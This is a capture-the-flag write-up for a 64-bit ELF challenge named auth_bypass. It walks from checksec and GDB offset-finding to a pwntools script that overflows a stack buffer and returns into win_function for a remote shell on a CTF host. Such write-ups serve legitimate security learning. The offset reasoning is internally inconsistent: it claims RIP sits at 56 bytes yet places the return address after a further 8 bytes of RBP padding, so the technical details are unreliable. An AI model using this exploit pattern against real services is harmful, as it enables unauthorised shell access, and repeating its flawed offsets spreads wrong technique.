1. Initial Reconnaissance
The challenge provided a single binary named auth_bypass
. Our first step was to analyze the file type and security measures using standard tools.
$ file auth_bypass
auth_bypass: ELF 64-bit LSB executable, x86-64
$ checksec auth_bypass
[*] '/path/to/auth_bypass'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No Canary found
NX: Enabled
PIE: No PIE (0x400000)
**Key Finding:** The stack canary is disabled, which immediately suggests a straightforward **Stack-based Buffer Overflow** is possible. NX (No Execute) is enabled, meaning we'll need to use Return-Oriented Programming (ROP) or return-to-libc rather than executing shellcode on the stack. Since PIE is disabled, all addresses are static, simplifying the exploit.
2. Finding the Offset and Control
The vulnerable function reads user input into a local buffer of size 32 bytes (0x20) using a non-bounds-checking function like gets()
or read()
. We used GDB and cyclic
from Pwntools to determine the exact padding required to overwrite the saved instruction pointer (RIP).
After generating a pattern and submitting it, we crashed the program and found that the instruction pointer was overwritten at offset 56 bytes.
$ gdb -q auth_bypass
...
(gdb) run
[input a 56-byte pattern]
...
RBP: 0x4141414141414141 ('AAAAAAAA')
RIP: 0x4141414141414141 ('AAAAAAAA') <-- EIP/RIP overwritten!
3. The Exploitation Strategy
The goal is to bypass the internal authentication check, which simply requires a flag to be set to '1'. We identified an existing function, win_function()
, which executes /bin/sh
. Since there is no PIE, we can simply overwrite the RIP with the address of this function.
- **Padding:** 56 bytes of junk data.
- **RBP Overwrite:** 8 bytes of junk data (since 64-bit programs have RBP before RIP).
- **RIP Overwrite:** Address of
win_function
(found at0x401234
).
4. Final Exploit Code (Python)
We used pwntools
to craft and deliver the payload reliably.
# Exploit script using Pwntools
from pwn import *
# Context and configuration
context.update(arch='amd64', os='linux')
p = remote('chals.ctf.site', 1337) # Target connection
# Addresses
# win_function is the target function that executes the shell
WIN_FUNCTION_ADDR = 0x401234
# Payload Construction
# Offset found via GDB/cyclic is 56 bytes to the start of RIP
JUNK_PADDING = b"A" * 56
RBP_PADDING = b"B" * 8 # Padding for the RBP register
# The final payload is: [56 bytes] + [RBP Junk] + [New RIP]
payload = JUNK_PADDING + RBP_PADDING + p64(WIN_FUNCTION_ADDR)
log.info("Sending payload...")
p.sendline(payload)
log.success("Payload sent! Dropping to shell.")
p.interactive()
5. Flag Acquired!
After running the script, the connection drops us into a remote shell, and we can retrieve the flag from the target system's home directory.